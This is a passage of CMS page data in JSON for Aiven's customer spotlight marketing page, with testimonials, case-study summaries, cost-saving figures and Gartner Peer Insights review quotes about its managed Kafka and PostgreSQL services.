stories"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"tagline":"Customer Spotlights","title":"Trusted by 1000+ happy customers and counting","variant":"compact"},{"_key":"b1a0b81a2030f07a87db33f0859a403e","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"items":[{"_key":"3e96e3364f8f","_type":"testimonialItem","company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"11bd7ea3af68","_type":"block","children":[{"_key":"c9977065e4280","_type":"span","marks":[],"text":"Brands like Best Buy and Macy’s rely on Mirakl’s marketplace solutions to drive their online marketplace business. When Mirakl needed a Kafka provider to scale its business - they chose Aiven and were able to reduce Operating Expenses by 70%."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_type":"reference"}}},{"_key":"c80a3c971427","_type":"testimonialItem","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"5db227b2c9ee","_type":"block","children":[{"_key":"43d3343092a40","_type":"span","marks":[],"text":"Priceline, a trusted partner of Aiven, harnesses the power of Apache Kafka on Google Cloud to optimize its infrastructure, resulting in significant cost savings and the establishment of robust data pipelines."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-63678bdc82de4708887de26c63c2d575f2b7cfe7-980x632-jpg","_type":"reference"}}},{"_key":"62cb5981f7053a2f3c0ededa7b0bc321","_type":"testimonialItem","company":{"_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},"content":[{"_key":"84d625f4ae5f","_type":"block","children":[{"_key":"fc5faa0ea6e40","_type":"span","marks":[],"text":"Decathlon Group chooses Aiven to turn its open source data management technologies into a highly resilient platform configured for DevOps."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"SmFSPQEeG0lT9LV1ImFb1","_type":"reference"},"title":"Read the news"},"image":{"_type":"mainImage","asset":{"_ref":"image-228fef6ff154ff8b5ca2e8c4b228bf104ec287e5-2560x1707-webp","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","showCompanyLogoAndTags":true,"variant":"default"},{"_key":"add63e60e97e","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":true,"fullWidth":true,"hideItemLink":true,"logos":[{"_key":"0db1eaa4f5a9","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"57c1f8ec7f23","_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},{"_key":"8ac5278c6d24","_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},{"_key":"a1a4c2035d55","_ref":"59yXqJZsa9ReYDevSgZICT","_type":"reference"},{"_key":"4353104594cd","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showLogoCaption":false,"subtitle":[{"_key":"b1fa9c5306ab","_type":"block","children":[{"_key":"7bd3de3a30830","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h2"}],"title":"Empowering global leaders and enterprises with Aiven","variant":"logo"},{"_key":"218274396d8e","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"4e253eac11e9","_type":"numberItem","description":[{"_key":"b19fcd10f166","_type":"block","children":[{"_key":"23bac94f943e0","_type":"span","marks":[],"text":"requests per hour managed for "},{"_key":"6dbe772491ce","_type":"span","marks":["dc655fcb213f"],"text":"Conrad Electronic"}],"markDefs":[{"_key":"dc655fcb213f","_type":"internalLink","internalLink":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"}}],"style":"normal"}],"number":"11.2M"},{"_key":"3bccf483c1df","_type":"numberItem","description":[{"_key":"946ac9395075","_type":"block","children":[{"_key":"6010c75771a30","_type":"span","marks":[],"text":"decrease in infrastructure total cost of ownership for "},{"_key":"60fd20b858c9","_type":"span","marks":["f58335016394"],"text":"Mirakl"}],"markDefs":[{"_key":"f58335016394","_type":"internalLink","internalLink":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"}}],"style":"normal"}],"number":"70%"},{"_key":"3993af2fb315","_type":"numberItem","description":[{"_key":"4a96b06541e2","_type":"block","children":[{"_key":"7b5885fca20d0","_type":"span","marks":[],"text":"reduced in "},{"_key":"8d3917cbf55f","_type":"span","marks":["3a6e46bbccd5"],"text":"Digital Asset Research’s"},{"_key":"8461c3b2ff0d","_type":"span","marks":[],"text":" Kafka spend compared to previous provider"}],"markDefs":[{"_key":"3a6e46bbccd5","_type":"internalLink","internalLink":{"_ref":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_type":"reference"}}],"style":"normal"}],"number":"25%"}],"roundedCorners":"rounded-b","title":"We deliver measurable outcomes"},{"_key":"2e62ad3f1f17","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"items":[{"_key":"60e88b4b115f","_type":"tabItem","content":[{"_key":"39b731bca512","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"isHideItemLink":false,"items":[{"_key":"f68e210379a771e5b5d50795392cd3c0","_type":"testimonialItem","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"75952277d65e","_type":"block","children":[{"_key":"67a8d58935eb0","_type":"span","marks":[],"text":"La Redoute scales to meet unprecedented demand with Aiven, as Diogo Gomes shares his experiences with Aiven for PostgreSQL® and Aiven for Apache Kafka®, highlighting how Aiven's services empowered the company to effortlessly manage the surge in demand while maintaining a competitive advantage for their business-critical online marketplace."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c","_type":"reference"},"title":"Read the case study"},"ytId":"mPWxizlA3so"},{"_key":"c44077126fed","_type":"testimonialItem","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"4120eddacb0e","_type":"block","children":[{"_key":"33cd94a6e1fb","_type":"span","marks":[],"text":"The global ADEO home improvement conglomerate advanced from a siloed, on-premise setup to a flexible, centrally managed cloud model with Aiven."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_type":"reference"}}},{"_key":"db3dd7ee4c9b5c2282e59f0788626296","_type":"testimonialItem","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"dcfbed026713","_type":"block","children":[{"_key":"971e4295b650","_type":"span","marks":[],"text":"Conrad Electronic expands its e‑commerce platform while Aiven handles 11.2 million requests an hour, delivering 99.99% uptime and latency below 1 millisecond."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}}},{"_key":"7044255d3441","_type":"testimonialItem","company":{"_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},"content":[{"_key":"eb386fe2a791","_type":"block","children":[{"_key":"caeadab4f3f90","_type":"span","marks":[],"text":"Norauto runs its online automobile services on multiple Aiven solutions, including Apache Kafka and PostgreSQL, among others."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"aa91894d-4565-4847-8728-392a20b4b507","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-745bf061fed7bfb88d195d809f4a5cf541c88a22-1812x978-jpg","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showCompanyLogoAndTags":true,"variant":"media"}],"id":"retail","title":"Retail"},{"_key":"bfe390a5407c95c44c21ac28225c8f79","_type":"tabItem","content":[{"_key":"39b731bca512","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"isHideItemLink":false,"items":[{"_key":"7044255d3441","_type":"testimonialItem","company":{"_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},"content":[{"_key":"4093691f4fa4","_type":"block","children":[{"_key":"1b7588d431e0","_type":"span","marks":[],"text":"Aiven delivers 99.99% uptime, lowers costs by 25% and improves performance 10x while handling 200 million trades daily for Digital Asset Research."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28-1920x1037-jpg","_type":"reference"}}},{"_key":"be9f295e5b1a4e678cea6d921618f4d9","_type":"testimonialItem","company":{"_ref":"rJC6Thoe9tosgYGZna3t6","_type":"reference"},"content":[{"_key":"e5a4aa24097f","_type":"block","children":[{"_key":"7052583c53620","_type":"span","marks":[],"text":"GoTo Financial re-engineered its infrastructure with Aiven to handle massive amounts of payments for the Gojek super-app ecosystem."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"6a79e45d-7bbf-4e28-abf9-b71fd104b833","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-db399f5890b6acad75dd9c72a3665b6fbf764d82-1920x1037-jpg","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showCompanyLogoAndTags":true,"variant":"media"}],"id":"finance","title":"Finance"},{"_key":"1682d53c36cd243e0a166a2fe713f2fc","_type":"tabItem","content":[{"_key":"39b731bca512","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"isHideItemLink":false,"items":[{"_key":"c5af852d8e3268b7340d4c739761e9cc","_type":"testimonialItem","company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"4d902d9d2171","_type":"block","children":[{"_key":"34b43a946e2d","_type":"span","marks":[],"text":"Aiven enabled Mirakl to become a cloud-native online marketplace, using Apache Kafka to improve scalability and reduce maintenance effort."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_type":"reference"}}},{"_key":"5a7cb3e8d3c5af7948af7a673d4c7b58","_type":"testimonialItem","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"content":[{"_key":"62ead3c703af","_type":"block","children":[{"_key":"7950f277b8af","_type":"span","marks":[],"text":"Aiven manages hundreds of database servers for Talon.One to set up secured promotion campaigns for their customers."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"e30f0e28-d18d-4f69-87e3-fb48ee50b209","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-1ec7c6ca17f9b365a85616abc4bcbc4e0c7ebc6e-1920x1037-jpg","_type":"reference"}}},{"_key":"fa31e9b37235","_type":"testimonialItem","company":{"_ref":"2BACGWdhEhfcQse2RSiztJ","_type":"reference"},"content":[{"_key":"166250cb3e3f","_type":"block","children":[{"_key":"5691055005810","_type":"span","marks":[],"text":"NetSpyGlass used Terraform with Aiven for Apache Kafka and PostgreSQL to offer advanced network monitoring automation services."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"6ba95c64-4c92-4133-bf13-f866097f2d2c","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-532eecee41a9fd764b7287dd55ed15bc8ca1fbbf-1920x1037-jpg","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showCompanyLogoAndTags":true,"variant":"media"}],"id":"software","title":"Software"},{"_key":"fd60aa9879e8","_type":"tabItem","content":[{"_key":"2e8c4287730e","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"items":[{"_key":"814ede1b5ec7","_type":"testimonialItem","company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"a0529cb4ee6e","_type":"block","children":[{"_key":"ce809e4121940","_type":"span","marks":[],"text":"Swift Solutions, a delivery and order fulfilment service, saved 30-40% of the total cost of ownership (TCO) with Aiven."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f-1920x1037-jpg","_type":"reference"}}},{"_key":"73bedd80d82c9d89454dcbc3d5c8f7ff","_type":"testimonialItem","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"d94b636fa9af","_type":"block","children":[{"_key":"a0a411b4770e0","_type":"span","marks":[],"text":"Priceline distributes its streaming architecture globally with Aiven on Google Cloud to offer the best online travel deals."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038-jpg","_type":"reference"}}},{"_key":"9aabdad4fbe19f79adc7262b8d09f265","_type":"testimonialItem","company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"54f6581a221b","_type":"block","children":[{"_key":"a0b7565ad38f0","_type":"span","marks":[],"text":"Wolt achieved major savings through Aiven's managed data infrastructure in the delivery technology space."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"reference"},"title":"Read the case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53-1920x1037-jpg","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showCompanyLogoAndTags":true,"variant":"media"}],"id":"more","title":"More"}],"noSpaceBottom":true,"noSpaceTop":false,"title":"We provide flexible solution for all types of industries","variant":"button-toggle"},{"_key":"ee213b1ec96a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"Explore all stories"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"variant":"centerColumn"},{"_key":"8a2b08eb77f8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"d956b2a40be1","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.gartner.com/reviews/market/data-and-analytics-others/vendor/aiven/product/aiven-for-postgresql/review/view/4662226","title":"See review on Gartner Peer Insights"},"subtitle":[{"_key":"dd8007c4d43b","_type":"block","children":[{"_key":"e4efcdd46be5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2351c6bd412d","_type":"image","asset":{"_ref":"image-0364b6271c871e49ad49e46760270cd43515768c-357x40-svg","_type":"reference"}},{"_key":"181f8d70edba","_type":"block","children":[{"_key":"84046a2ec497","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e079ec74741a","_type":"image","asset":{"_ref":"image-07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a-357x24-svg","_type":"reference"}},{"_key":"a5c84452a9fb","_type":"block","children":[{"_key":"52f66d9d1fad0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"76be3ac93ef0","_type":"block","children":[{"_key":"49b573c68e99","_type":"span","marks":[],"text":"\"Best open source data platform! We are using Aiven platform at scale (several thousand of services) for 5 years. It is a great product that promotes open source technologies. It provides very high level of services availability, security, scalability and automation. The platform is easy to use, responsive with all necessery tools to perfom complete integration.\""}],"markDefs":[],"style":"normal"},{"_key":"e0bec03f5731","_type":"block","children":[{"_key":"a6bd4e8ea9b7","_type":"span","marks":[],"text":"Manager of IT Services"}],"markDefs":[],"style":"normal"},{"_key":"ca3a04ebc6ed","_type":"block","children":[{"_key":"829c52fc8bc9","_type":"span","marks":["strong"],"text":"Industry"}],"markDefs":[],"style":"h6"},{"_key":"a8936d87cb32","_type":"block","children":[{"_key":"fbf48a88cf20","_type":"span","marks":[],"text":"Retail"}],"markDefs":[],"style":"normal"},{"_key":"b2ed7b5e0123","_type":"block","children":[{"_key":"836c1540d2a3","_type":"span","marks":[],"text":"Firm "},{"_key":"e2d2421032d8","_type":"span","marks":["strong"],"text":"Size"}],"markDefs":[],"style":"h6"},{"_key":"0cc3eb2525e3","_type":"block","children":[{"_key":"7fa9ee907bd2","_type":"span","marks":[],"text":"10B - 30B USD"}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"a43b79d79a13359f16aa4e4608753100","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.gartner.com/reviews/market/data-and-analytics-others/vendor/aiven/product/aiven-for-postgresql/review/view/4633084","title":"See review on Gartner Peer Insights"},"subtitle":[{"_key":"dd8007c4d43b","_type":"block","children":[{"_key":"e4efcdd46be5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2351c6bd412d","_type":"image","asset":{"_ref":"image-0364b6271c871e49ad49e46760270cd43515768c-357x40-svg","_type":"reference"}},{"_key":"53db32086426","_type":"block","children":[{"_key":"c423f30265e7","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e079ec74741a","_type":"image","asset":{"_ref":"image-07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a-357x24-svg","_type":"reference"}},{"_key":"6d247c81c077","_type":"block","children":[{"_key":"54fade9e8b4e0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f4f4caad1faf","_type":"block","children":[{"_key":"f6cf3dfa90da0","_type":"span","marks":[],"text":"\"A great platform at the service of DBRE, Dev and Ops! The Aiven for PostgreSQL Service helped my team to transform their missions from DBA to DBRE. Thanks to the administration layer integrated into this service, the DBREs can now spend more time to tasks with greater added value on database expertise for our dev teams.\""}],"markDefs":[],"style":"normal"},{"_key":"1b4f33f910bd","_type":"block","children":[{"_key":"02a15410939c","_type":"span","marks":[],"text":"Database Engineering Manager"}],"markDefs":[],"style":"normal"},{"_key":"a61c9f401720","_type":"block","children":[{"_key":"f4efd29e2116","_type":"span","marks":["strong"],"text":"Industry"}],"markDefs":[],"style":"h6"},{"_key":"c9485aac0840","_type":"block","children":[{"_key":"b8bf663b60330","_type":"span","marks":[],"text":"Manufacturing"}],"markDefs":[],"style":"normal"},{"_key":"412ff4968d52","_type":"block","children":[{"_key":"70778c3a9072","_type":"span","marks":[],"text":"Firm "},{"_key":"e0e47e4a0555","_type":"span","marks":["strong"],"text":"Size"}],"markDefs":[],"style":"h6"},{"_key":"cddbd7aaaea8","_type":"block","children":[{"_key":"fe7b396fd1d3","_type":"span","marks":[],"text":"10B - 30B USD"}],"markDefs":[],"style":"normal"}],"variant":"default"},{"_key":"da76b6208d285c6d96a546cf06ea82cf","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.gartner.com/reviews/market/event-stream-processing/vendor/aiven/product/aiven-for-apache-kafka/review/view/4654496","title":"See review on Gartner Peer Insights"},"subtitle":[{"_key":"dd8007c4d43b","_type":"block","children":[{"_key":"e4efcdd46be5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2351c6bd412d","_type":"image","asset":{"_ref":"image-0364b6271c871e49ad49e46760270cd43515768c-357x40-svg","_type":"reference"}},{"_key":"53db32086426","_type":"block","children":[{"_key":"c423f30265e7","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e079ec74741a","_type":"image","asset":{"_ref":"image-07aa18deb3f1b85e037ab5d3bfc2bfef0f3ffd8a-357x24-svg","_type":"reference"}},{"_key":"6d247c81c077","_type":"block","children":[{"_key":"54fade9e8b4e0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f4f4caad1faf","_type":"block","children":[{"_key":"f6cf3dfa90da0","_type":"span","marks":[],"text":"\"Overall, a great company providing open source solutions for multi-cloud. Working with Aiven has been great. Their customer support and client relations are very good. They meet with us often and give advice on how to manage, automate, and scale our services. They have many of the services we need are continuing to look to expand to meet our expanding cloud provider and service requirements.\""}],"markDefs":[],"style":"normal"},{"_key":"60e3d89e225f","_type":"block","children":[{"_key":"74b18e4c3f750","_type":"span","marks":[],"text":"AVP - R\u0026D"}],"markDefs":[],"style":"normal"},{"_key":"1152d9e2cec8","_type":"block","children":[{"_key":"0cf06c31cdc4","_type":"span","marks":["strong"],"text":"Industry"}],"markDefs":[],"style":"h6"},{"_key":"15426f8abf3c","_type":"block","children":[{"_key":"ad34a16e1d220","_type":"span","marks":[],"text":"IT Services"}],"markDefs":[],"style":"normal"},{"_key":"7be3edf3b5ec","_type":"block","children":[{"_key":"3c056332e2eb","_type":"span","marks":[],"text":"Firm "},{"_key":"443ef70298c6","_type":"span","marks":["strong"],"text":"Size"}],"markDefs":[],"style":"h6"},{"_key":"131f155c8b24","_type":"block","children":[{"_key":"a70e3069c0c0","_type":"span","marks":[],"text":"1B - 3B USD"}],"markDefs":[],"style":"normal"}],"variant":"default"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"title":"What people are saying about us on Gartner Peer Insights™️"},{"_key":"44ea8f1e77e55a1af188f64becc579c3","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"4584273d7827","_type":"block","children":[{"_key":"b386b5154997","_type":"span","marks":[],"text":" "}],"markDefs":[],"style":"h6"},{"_key":"18dc556cf879","_type":"block","children":[{"_key":"6214106d23f2","_type":"span","marks":[],"text":"Gartner, Peer Insights and The Peer Insights Logo are trademarks and servicemarks of Gartner, Inc. and/or its affiliates. All rights reserved. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences, and should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose."}],"markDefs":[],"style":"small"}],"variant":"centerColumn"},{"_key":"228df044a3b10bab04bc15635583f275","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"w-2/3","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"a66c7f87-67a5-469f-9c00-160b5f8335f7","_type":"reference"},"title":"Explore our G2 reviews"},"roundedCorners":"rounded-tl-br","title":"Aiven is a leader in G2 reports","variant":"mediaCenter"},{"_key":"5496ed8f5415","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"tagline":"Book a personalized demo","text":[{"_key":"baf2a6238243","_type":"block","children":[{"_key":"2067b30c5c1b0","_type":"span","marks":[],"text":"Book a free demo and we will help you find out how you can save time and transform your business."}],"markDefs":[],"style":"normal"}],"title":"Get to know our all-in-one data infrastructure platform","variant":"mediaLeft"},{"_key":"1f4d3d1be694","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"subtitle":[{"_key":"f9261dbb1f4b","_type":"block","children":[{"_key":"8aae021c2ac30","_type":"span","marks":[],"text":"Aiven makes setting up cloud databases so simple anyone can do it. Our set-it-and-forget-it solutions take the pain out of cloud data infrastructure."}],"markDefs":[],"style":"normal"}],"tertiaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"View pricing"},"title":"Get your first cluster online now","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Aiven empowers businesses of all sizes, from startups to Fortune 500 enterprises, across diverse sectors in more than 60 countries to accomplish their goals.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-69350a6212ebd78255bef366655eb83d3c6a08cd-1200x628-png","_type":"reference"}},"metaTitle":"Aiven Customer Spotlights"},"slug":{"_type":"slug","current":"/customer"},"title":"Customer Spotlight"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff__i18n_ja","_type":"reference"}],"_createdAt":"2022-08-08T12:25:57Z","_id":"8930abef-2819-4638-b11a-a3a2e33e18ff","_rev":"w5Y1buu43ZclY4xZZplPn4","_type":"page","_updatedAt":"2025-01-08T15:17:00Z","content":[{"_key":"d547210bbf66","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-75f6e3083b0771faa66cbc624267ad16d83ef0b2-4320x1995-jpg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center 